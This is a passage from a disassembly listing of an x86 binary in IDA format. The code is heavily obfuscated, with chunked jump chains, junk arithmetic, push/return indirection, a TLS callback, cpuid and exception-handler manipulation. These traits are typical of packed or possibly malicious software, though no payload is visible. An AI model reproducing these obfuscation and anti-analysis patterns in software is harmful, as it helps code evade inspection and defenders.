ebp, [ebx] jmp loc_4249D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428336 loc_42488D: ; CODE XREF: sub_428336+3184j jnz loc_42CCF9 ; END OF FUNCTION CHUNK FOR sub_428336 ; START OF FUNCTION CHUNK FOR sub_423057 loc_424893: ; CODE XREF: sub_423057+13j jmp loc_42A606 ; END OF FUNCTION CHUNK FOR sub_423057 ; --------------------------------------------------------------------------- ror ebp, 13h xor ecx, 31A4B373h xchg edi, esi jge loc_4275B1 jmp loc_42CCF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429AA3 loc_4248AE: ; CODE XREF: sub_429AA3:loc_42D709j jb sub_42A995 add esp, 0FFFFFFF4h mov [ebp+var_8], eax call sub_429ED3 push edi push 345FEF21h jmp loc_425D5E ; END OF FUNCTION CHUNK FOR sub_429AA3 ; --------------------------------------------------------------------------- loc_4248CA: ; DATA XREF: sub_428A5F+18o mov edx, 0DE6CF580h push ebx push 1C76D3F1h pop ebx jmp loc_428814 ; --------------------------------------------------------------------------- loc_4248DB: ; CODE XREF: _0182ofla:00428608j jns loc_42437E sub edi, ebx ; START OF FUNCTION CHUNK FOR sub_42662C loc_4248E3: ; CODE XREF: sub_42662C:loc_4285EEj add edi, 0A142929Ah xchg edi, [esp+10h+var_10] jmp sub_42D71D ; END OF FUNCTION CHUNK FOR sub_42662C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_38. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_83. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425DA5 loc_4248F3: ; CODE XREF: _0182ofla:loc_4235EAj ; sub_425DA5+1845j jmp loc_42DA3D ; END OF FUNCTION CHUNK FOR sub_425DA5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_196. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4276BF loc_4248F9: ; CODE XREF: sub_4276BF:loc_426D0Dj mov eax, ds:dword_423190 mov edx, [ebp-4] mov byte ptr [eax+edx], 0 inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 100h jnz loc_426D0D jmp loc_429966 ; END OF FUNCTION CHUNK FOR sub_4276BF ; --------------------------------------------------------------------------- mov [ebp-10h], eax cmp dword ptr [ebp-10h], 0 jz loc_42A7D0 lea eax, [ebp-24h] jmp loc_42AA90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4298DD loc_42492F: ; CODE XREF: sub_4298DD:loc_426CA2j jz loc_42C9BF jmp loc_429370 ; END OF FUNCTION CHUNK FOR sub_4298DD ; =============== S U B R O U T I N E ======================================= sub_42493A proc near ; CODE XREF: sub_429B69-5FD5j ; FUNCTION CHUNK AT 004272EE SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042A622 SIZE 0000000B BYTES push ebp jmp loc_42A622 sub_42493A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231F3 loc_424940: ; CODE XREF: sub_4231F3:loc_426595j sbb edx, ebx shr ecx, 18h jmp loc_427DD1 ; END OF FUNCTION CHUNK FOR sub_4231F3 ; --------------------------------------------------------------------------- loc_42494A: ; CODE XREF: _0182ofla:0042D506j xor ebx, 0B79761FEh ; =============== S U B R O U T I N E ======================================= sub_424950 proc near ; CODE XREF: sub_42ADE3+6p ; FUNCTION CHUNK AT 0042A6C2 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax add eax, 3AAD4A6Fh push eax mov eax, [ebp-4] push eax jmp loc_42A6C2 sub_424950 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B6E loc_424964: ; CODE XREF: sub_425B6E+70ACj cpuid add [esi], eax xor [esi], ebx add [esi], ecx jmp loc_428BC4 ; END OF FUNCTION CHUNK FOR sub_425B6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C553 loc_424971: ; CODE XREF: sub_42C553:loc_42CA7Dj pop ecx or ecx, 0A8E9ED10h jnz loc_42DDD9 mov edx, ebp jmp loc_42DDCF ; END OF FUNCTION CHUNK FOR sub_42C553 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B669 loc_424985: ; CODE XREF: sub_42B669-527j mov al, [ecx] add ecx, 9Ch add [ecx], al add ecx, 4 mov dword ptr [ecx], offset loc_4279EE jmp loc_42CEC6 ; END OF FUNCTION CHUNK FOR sub_42B669 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_4249A0: ; CODE XREF: sub_42798F+1697j jnz loc_4244E9 jmp loc_429AF9 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- test ebx, eax ; START OF FUNCTION CHUNK FOR sub_42537E loc_4249AD: ; CODE XREF: sub_42537E:loc_42EC48j jmp loc_42958F ; END OF FUNCTION CHUNK FOR sub_42537E ; --------------------------------------------------------------------------- test al, al jz loc_426758 jmp loc_426B7E ; --------------------------------------------------------------------------- mov edx, 7DA6ACC0h push offset sub_425A1D jmp locret_42B7BA ; --------------------------------------------------------------------------- loc_4249CE: ; CODE XREF: _0182ofla:004238EEj and ebp, edi jmp loc_426504 ; --------------------------------------------------------------------------- loc_4249D5: ; CODE XREF: _0182ofla:00424888j adc esi, 0F5F8926Bh ; =============== S U B R O U T I N E ======================================= sub_4249DB proc near ; CODE XREF: _0182ofla:00425B47p mov [esp+0], edi pop edi mov eax, [ebp-4] add eax, 3Ch call sub_42EB7D sub_4249DB endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42968B loc_4249EA: ; CODE XREF: sub_42968B-888j jmp loc_425169 ; END OF FUNCTION CHUNK FOR sub_42968B ; =============== S U B R O U T I N E ======================================= sub_4249EF proc near ; CODE XREF: sub_424B86+11p ; _0182ofla:004253BBj xchg eax, [esp+0] pop eax loc_4249F3: ; CODE XREF: _0182ofla:loc_4236FEj mov ds:dword_426FB8, eax retn sub_4249EF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4249FA proc near ; CODE XREF: sub_427239j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004235B8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004245CA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004254F7 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00425512 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00425F81 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429B29 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00429C74 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042AA2E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C1E0 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042CE9C SIZE 00000008 BYTES push ebp mov ebp, esp jmp loc_4245CA sub_4249FA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_424A02: ; CODE XREF: sub_42798F+4E31j jns loc_42ED5A loc_424A08: ; CODE XREF: sub_42798F:loc_429D0Bj mov ecx, [ebp-18h] and ecx, 7 mov eax, 1 jmp loc_424BA1 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- loc_424A18: ; CODE XREF: _0182ofla:loc_42AA81j jge loc_426061 jmp loc_42D290 ; --------------------------------------------------------------------------- loc_424A23: ; CODE XREF: _0182ofla:loc_42681Cj call sub_428D17 mov edx, 0CE3062ECh call sub_42D71D call sub_428D17 push 4F484E23h pop edx xor edx, 0DDF2048h sub edx, ds:4000FAh jmp loc_428AC4 ; --------------------------------------------------------------------------- mov esi, 4ABFFF19h jmp loc_42AAF6 ; --------------------------------------------------------------------------- not esi jmp sub_42AA62 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231F3 loc_424A5F: ; CODE XREF: sub_4231F3+19j mov ecx, [ebx+edx-8] or ecx, ecx jz loc_42D510 call sub_4268FC ; END OF FUNCTION CHUNK FOR sub_4231F3 ; =============== S U B R O U T I N E ======================================= sub_424A70 proc near ; CODE XREF: sub_429AA3-3D33p ; FUNCTION CHUNK AT 004257C4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004257D4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004267BD SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00427EFE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A98D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042E8FB SIZE 0000001A BYTES mov [esp+0], ebp lea eax, [ebp-4] call sub_42A3E4 pop ecx push 0EDA5372Bh pop eax sub eax, 0B3812873h jmp loc_4257C4 sub_424A70 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_424A8D: ; CODE XREF: _0182ofla:00423339j ror edi, 10h jmp loc_4288FD ; --------------------------------------------------------------------------- xor ecx, 0BCE59234h jmp sub_427906 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282B8 loc_424AA0: ; CODE XREF: _0182ofla:00425A51j ; sub_4282B8:loc_429926j add ebx, 4140241Ah sub ebx, 6E04EF5h jnb loc_42CB9A add edx, 0C5513B61h jnp loc_428B4A push 5B149731h jmp loc_42CB99 ; END OF FUNCTION CHUNK FOR sub_4282B8 ; --------------------------------------------------------------------------- loc_424AC8: ; CODE XREF: _0182ofla:004264ADj add ebx, 5B91BCA2h popf xchg ebx, [esp] jmp loc_42D218 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A6D5 loc_424AD7: ; CODE XREF: sub_42A6D5+Cj pushf jmp loc_4278EA ; END OF FUNCTION CHUNK FOR sub_42A6D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4292E1 loc_424ADD: ; CODE XREF: sub_4292E1+Fj push 0FFFFFFFFh push offset sub_423BD5 jmp loc_42EC67 ; END OF FUNCTION CHUNK FOR sub_4292E1 ; --------------------------------------------------------------------------- loc_424AE9: ; DATA XREF: sub_427750+8o mov edx, 0CB39536Bh push offset sub_42583B ; START OF FUNCTION CHUNK FOR sub_42583B loc_424AF3: ; CODE XREF: sub_42583B:loc_428E35j jmp nullsub_218 ; END OF FUNCTION CHUNK FOR sub_42583B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR TlsCallback_0 loc_424AF8: ; CODE XREF: TlsCallback_0+391Ej jz loc_4295BD pushf jmp loc_425437 ; END OF FUNCTION CHUNK FOR TlsCallback_0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_424B04: ; CODE XREF: sub_423A2A:loc_426F91j cmp ds:dword_427A24, 0 jnz loc_42806F call sub_426455 mov edx, 0E5254649h push offset loc_423E32 jmp nullsub_113 ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DD86 loc_424B25: ; CODE XREF: sub_42DD86+Ej or eax, eax jnz loc_42DB9C jmp loc_42AA29 ; END OF FUNCTION CHUNK FOR sub_42DD86 ; --------------------------------------------------------------------------- loc_424B32: ; CODE XREF: _0182ofla:loc_4242DDj mov [esp], eax call sub_42D9A4 loc_424B3A: ; CODE XREF: _0182ofla:loc_42CCF3j mov al, 1 pop edx call edx xor eax, eax jmp loc_42830E ; --------------------------------------------------------------------------- locret_424B46: ; CODE XREF: _0182ofla:loc_42A2D5j retn ; --------------------------------------------------------------------------- loc_424B47: ; CODE XREF: _0182ofla:0042E8B8j jmp locret_4275EF ; --------------------------------------------------------------------------- loc_424B4C: ; CODE XREF: _0182ofla:loc_424BF0j push ebx push edx push edi mov [esp], eax jmp loc_426F6D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_424B57: ; CODE XREF: sub_42798F+3C1Ej ; sub_42798F+6DA0j and ecx, 0F7EBCBE5h add ecx, 1F8125ECh mov ecx, [ecx] movzx edx, byte ptr [ecx+edx] and eax, edx jmp loc_42EC8D ; END OF FUNCTION CHUNK FOR sub_42798F ; =============== S U B R O U T I N E ======================================= sub_424B70 proc near ; CODE XREF: sub_423A2A+4F51p ; FUNCTION CHUNK AT 004236C5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042835F SIZE 0000000E BYTES mov [esp+0], eax pop eax cmp dword ptr [ebp-0Ch], 5 jnz loc_428363 mov eax, [ebp+8] jmp loc_4236C5 sub_424B70 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_424B86 proc near ; DATA XREF: _0182ofla:0042547Bo var_4 = dword ptr -4 mov edx, 0C90D1845h call sub_42D71D pushf mov [esp+4+var_4], eax ror eax, 1Ch call sub_4249EF sub_424B86 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42E218 loc_424B9C: ; CODE XREF: sub_42E218-8B88j jmp sub_428D09 ; END OF FUNCTION CHUNK FOR sub_42E218 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_424BA1: ; CODE XREF: sub_42798F-2F7Cj shl eax, cl mov edx, [ebp-18h] shr edx, 3 mov ecx, ds:dword_423190 jmp loc_424BFC ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- loc_424BB4: ; CODE XREF: _0182ofla:0042AED7j sub ebx, 83FCFED6h mov eax, 21557C6Fh pop eax pop edx loc_424BC1: ; CODE XREF: _0182ofla:loc_42CDE5j pop ebx mov ecx, offset loc_429BD3 xchg ecx, [esp] retn ; =============== S U B R O U T I N E ======================================= sub_424BCB proc near ; CODE XREF: sub_42AE82+3j ; FUNCTION CHUNK AT 00423F19 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00426B31 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428793 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AA18 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DBCD SIZE 0000000B BYTES add esp, 0FFFFFD38h lea eax, [ebp-0Ch] push eax mov eax, [ebp+8] jmp loc_428793 sub_424BCB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42461C loc_424BDD: ; CODE XREF: sub_42461C+3j push ecx mov esp, ebp xchg esi, [esp+0] mov ebp, esi jmp loc_42ED1A ; END OF FUNCTION CHUNK FOR sub_42461C ; --------------------------------------------------------------------------- dw 0FFCh dword_424BEC dd 0 ; DATA XREF: sub_4295D6:loc_427290w ; sub_42860D+6w ... ; --------------------------------------------------------------------------- loc_424BF0: ; CODE XREF: _0182ofla:loc_4284D7j jmp loc_424B4C ; --------------------------------------------------------------------------- db 0A0h, 2Fh, 0C3h dword_424BF8 dd 86951DF9h ; DATA XREF: _0182ofla:004292FDw ; sub_42E13B+3w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_424BFC: ; CODE XREF: sub_42798F-2DE0j jmp loc_429DED ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- db 0A7h, 54h, 17h dword_424C04 dd 6EEFCE0Dh ; DATA XREF: sub_42E1F0-AC88w ; sub_427CDE+9r ; --------------------------------------------------------------------------- loc_424C08: ; CODE XREF: _0182ofla:004270EEj jmp locret_42E06F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_424C0D: ; CODE XREF: sub_42798F-2B3Dj jmp loc_4243C6 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- loc_424C12: ; CODE XREF: _0182ofla:004234E5j jmp loc_429DB6 ; --------------------------------------------------------------------------- db 0F2h dword_424C18 dd 78EFA8B9h ; DATA XREF: sub_42E218:loc_424DA2r ; sub_42C58A:loc_424F1Aw ... dword_424C1C dd 6AFEh ; DATA XREF: _0182ofla:004265CCr ; _0182ofla:loc_4292A6w ... dword_424C20 dd 0BA8D3BF3h ; DATA XREF: sub_42326C+9838r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4276BF loc_424C24: ; CODE XREF: sub_4276BF:loc_42A1ABj xchg ebp, [esp+0] mov ecx, ebp pop ebp pop ebp jmp loc_423107 ; END OF FUNCTION CHUNK FOR sub_4276BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4298DD loc_424C30: ; CODE XREF: sub_4298DD:loc_4285E9j jnz loc_42676A jmp loc_42B193 ; END OF FUNCTION CHUNK FOR sub_4298DD ; --------------------------------------------------------------------------- loc_424C3B: ; CODE XREF: _0182ofla:loc_42555Dj push ecx jmp loc_426718 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DE3A loc_424C41: ; CODE XREF: sub_42DE3A:loc_42C78Aj jnz loc_42E34C jmp loc_428E1E ; END OF FUNCTION CHUNK FOR sub_42DE3A ; --------------------------------------------------------------------------- loc_424C4C: ; CODE XREF: _0182ofla:0042B6E6j pushf ; START OF FUNCTION CHUNK FOR sub_42B15E loc_424C4D: ; CODE XREF: sub_42B15E:loc_42B6D5j add edx, 4973992Eh or eax, edx pop edx jmp loc_423823 ; END OF FUNCTION CHUNK FOR sub_42B15E ; --------------------------------------------------------------------------- loc_424C5B: ; CODE XREF: _0182ofla:00424337j jl loc_42D0AD ; =============== S U B R O U T I N E ======================================= sub_424C61 proc near ; CODE XREF: sub_42798F-DF0p ; FUNCTION CHUNK AT 004257BF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428C3D SIZE 00000011 BYTES mov [esp+0], esi pop esi jnz loc_428C3D call sub_42705A loc_424C70: ; CODE XREF: sub_42798F:loc_42DF5Cj jmp nullsub_16 sub_424C61 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4255E9 loc_424C75: ; CODE XREF: sub_4255E9+5EEFj jmp loc_42D5D6 ; END OF FUNCTION CHUNK FOR sub_4255E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427DFA loc_424C7A: ; CODE XREF: sub_427DFA-17D3j jmp loc_42E5D3 ; END OF FUNCTION CHUNK FOR sub_427DFA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429C1A loc_424C7F: ; CODE XREF: sub_429C1A-3A38j jmp loc_42E10D ; END OF FUNCTION CHUNK FOR sub_429C1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_424C84: ; CODE XREF: sub_423A2A+49EEj ; sub_423A2A:loc_428E7Cj call nullsub_4 retn ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253DC loc_424C8A: ; CODE XREF: sub_4253DC+40C3j jmp nullsub_211 ; END OF FUNCTION CHUNK FOR sub_4253DC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_424C90: ; CODE XREF: sub_423A2A-9DEj ; sub_423A2A+49BAj call sub_423FCD test al, al jz loc_427128 call nullsub_5 retn ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AB27 loc_424CA3: ; CODE XREF: sub_42AB27-493j jmp loc_426D82 ; END OF FUNCTION CHUNK FOR sub_42AB27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425629 loc_424CA8: ; CODE XREF: sub_425629-155Bj rol edi, 8 push ebx adc edx, 0EBC9DAB7h test ecx, 0C69FFDDBh jmp loc_425EF6 ; END OF FUNCTION CHUNK FOR sub_425629 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428041 loc_424CBD: ; CODE XREF: sub_428041+3j add edx, eax call sub_42B553 loc_424CC4: ; CODE XREF: _0182ofla:00427579j push edx loc_424CC5: ; CODE XREF: sub_425B6E+19EFj add eax, 0FFB4743Eh add eax, ebp add eax, 858D997Fh jmp loc_423CB8 ; END OF FUNCTION CHUNK FOR sub_428041 ; =============== S U B R O U T I N E ======================================= sub_424CD8 proc near ; CODE XREF: sub_427CDE-4757p ; sub_423716p ... ; FUNCTION CHUNK AT 0042880F SIZE 00000005 BYTES push ebp push offset loc_4297A5 jmp loc_42880F sub_424CD8 endp ; --------------------------------------------------------------------------- popf ; =============== S U B R O U T I N E ======================================= sub_424CE4 proc near ; CODE XREF: sub_42660C:loc_427378p mov [esp+0], ebx pop ebx mov edx, 0CB804A30h push offset loc_42C23F jmp nullsub_17 sub_424CE4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424184 loc_424CF7: ; CODE XREF: sub_424184+27A1j sbb esi, 6538E855h jmp loc_42E3CB ; END OF FUNCTION CHUNK FOR sub_424184 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D03E loc_424D02: ; CODE XREF: sub_42D03E:loc_428B7Ej push ecx mov esp, ebp xchg ebx, [esp+0] mov ebp, ebx and ebx, 7932BBEFh jmp loc_426D77 ; END OF FUNCTION CHUNK FOR sub_42D03E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_424D15: ; CODE XREF: sub_4253F4+41D1j add ecx, 4 mov dword ptr [ecx], offset loc_425EFC xor eax, eax pop ecx jmp nullsub_189 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- loc_424D29: ; CODE XREF: _0182ofla:loc_428D98j adc esi, ebp shl edx, 13h jmp loc_4292B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B6E loc_424D33: ; CODE XREF: sub_425B6E+13E5j jle loc_428558 loc_424D39: ; CODE XREF: sub_42A181:loc_427730j pop large dword ptr fs:0 add esp, 4 mov eax, 51h call sub_4265C0 jmp loc_424847 ; END OF FUNCTION CHUNK FOR sub_425B6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42349B loc_424D52: ; CODE XREF: sub_42349B:loc_423AA4j pop edi mov eax, [eax] mov ecx, 3FDh call sub_426046 loc_424D5F: ; CODE XREF: _0182ofla:004233DFj jmp loc_4284DC ; END OF FUNCTION CHUNK FOR sub_42349B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427239 loc_424D64: ; CODE XREF: sub_427239+6j xchg ebp, esi push 5658AC10h mov [esp+8+var_8], esi xchg ebp, esi mov ebp, esp jmp loc_4245D8 ; END OF FUNCTION CHUNK FOR sub_427239 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429E52 loc_424D77: ; CODE XREF: sub_429E52:loc_429583j ror eax, 0Dh push ebx push 402E46FFh mov ebx, offset sub_42E785 call sub_42E77D loc_424D8A: ; CODE XREF: sub_42D6DD-973Dj jmp nullsub_72 ; END OF FUNCTION CHUNK FOR sub_429E52 ; --------------------------------------------------------------------------- locret_424D8F: ; CODE XREF: _0182ofla:0042B539j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C1B2 loc_424D90: ; CODE XREF: sub_42C1B2:loc_425681j mov ebx, ebp jmp loc_42443D ; END OF FUNCTION CHUNK FOR sub_42C1B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4291BA loc_424D97: ; CODE XREF: sub_4291BA-1115j jl loc_42985F jmp loc_427611 ; END OF FUNCTION CHUNK FOR sub_4291BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E218 loc_424DA2: ; CODE XREF: sub_42E218:loc_425CE7j mov eax, ds:dword_424C18 or eax, eax jnz loc_424F26 jmp loc_427F19 ; END OF FUNCTION CHUNK FOR sub_42E218 ; --------------------------------------------------------------------------- xor ebx, 8B227211h cmp ecx, edi jmp loc_42D86F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_424DC2: ; CODE XREF: sub_428F20-968j ja loc_4246A6 jmp loc_429811 ; END OF FUNCTION CHUNK FOR sub_428F20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_424DCD: ; CODE XREF: sub_42D056:loc_424042j jz loc_42D419 jmp loc_42C98A ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A092 loc_424DD8: ; CODE XREF: sub_42A092+Aj rol eax, 14h push eax retn ; END OF FUNCTION CHUNK FOR sub_42A092 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267F8 loc_424DDD: ; CODE XREF: sub_4267F8+BE6j jmp loc_424DEF ; END OF FUNCTION CHUNK FOR sub_4267F8 ; =============== S U B R O U T I N E ======================================= sub_424DE2 proc near ; CODE XREF: sub_42D70E+3p ; FUNCTION CHUNK AT 0042AE5A SIZE 00000005 BYTES push edx mov edx, ebp push offset loc_429983 jmp loc_42AE5A sub_424DE2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267F8 loc_424DEF: ; CODE XREF: sub_4267F8:loc_424DDDj xor eax, eax mov al, [ebp-9] shl eax, cl mov cl, [ebp-0Bh] xor edx, edx jmp loc_4238B6 ; END OF FUNCTION CHUNK FOR sub_4267F8 ; =============== S U B R O U T I N E ======================================= sub_424E00 proc near ; DATA XREF: sub_427DA9+258Fo mov eax, 50h sub_424E00 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_424707 loc_424E05: ; CODE XREF: sub_424707+540Bj push eax push 6031640Fh pop eax jmp loc_42D08C ; END OF FUNCTION CHUNK FOR sub_424707 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429E52 loc_424E11: ; CODE XREF: sub_429E52-3D13j mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h xor eax, eax add ecx, 4 mov [ecx], eax add ecx, 4 jmp loc_427C36 ; END OF FUNCTION CHUNK FOR sub_429E52 ; =============== S U B R O U T I N E ======================================= sub_424E36 proc near ; CODE XREF: sub_42CDEB-49A9p ; _0182ofla:00429A10j mov [esp+0], ecx pop ecx mov [ecx], eax call sub_42E841 loc_424E41: ; CODE XREF: sub_426571-F5Fj jmp nullsub_18 sub_424E36 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_424E46: ; CODE XREF: sub_42798F-3D24j xchg eax, [esp+8+var_8] pop eax xchg ebx, [esp+4+var_4] call sub_42A6D5 jmp loc_424C0D ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F0F loc_424E57: ; CODE XREF: sub_428F0F:loc_423ADFj jz loc_42CE47 jmp loc_428C4E ; END OF FUNCTION CHUNK FOR sub_428F0F ; =============== S U B R O U T I N E ======================================= sub_424E62 proc near ; CODE XREF: sub_42A642-48BEj ; _0182ofla:0042AD1Bp arg_0 = dword ptr 4 xchg eax, [esp+0] pop eax xchg ebx, [esp-4+arg_0] loc_424E69: ; CODE XREF: sub_425629:loc_42351Aj jmp sub_42D888 sub_424E62 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_424E6E proc near ; CODE XREF: sub_426A7F+3p ; _0182ofla:0042E6F5j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423141 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0042390D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004251A5 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00427B13 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427F98 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00428F3C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429B7C SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042A548 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D1E0 SIZE 0000000D BYTES mov [esp+0], edi pop edi push ecx mov esp, ebp pop ebp push 0A5D83CF8h jmp loc_42A548 sub_424E6E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_424E80 proc near ; DATA XREF: sub_427DA9+1867o pop ecx mov eax, [eax] push offset loc_424421 jmp nullsub_206 sub_424E80 endp ; --------------------------------------------------------------------------- add ebx, 25B2469Dh jmp sub_425C55 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_24. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427ED1 loc_424E99: ; CODE XREF: sub_427ED1+1B5Aj jmp loc_428707 ; END OF FUNCTION CHUNK FOR sub_427ED1 ; --------------------------------------------------------------------------- push offset sub_428AC9 jmp loc_425DC0 ; --------------------------------------------------------------------------- push offset loc_429742 jmp loc_42B2FA ; --------------------------------------------------------------------------- cdq jmp loc_42E5F2 ; --------------------------------------------------------------------------- dd 6A168A0Fh db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_424EBE proc near ; CODE XREF: sub_429BB9:loc_4230A2p mov [esp+0], edi pop edi push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call eax jmp loc_427A4D sub_424EBE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_424ED2: ; CODE XREF: sub_42798F:loc_4291CCj jz loc_4247ED jmp loc_426CD2 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426B01 loc_424EDD: ; 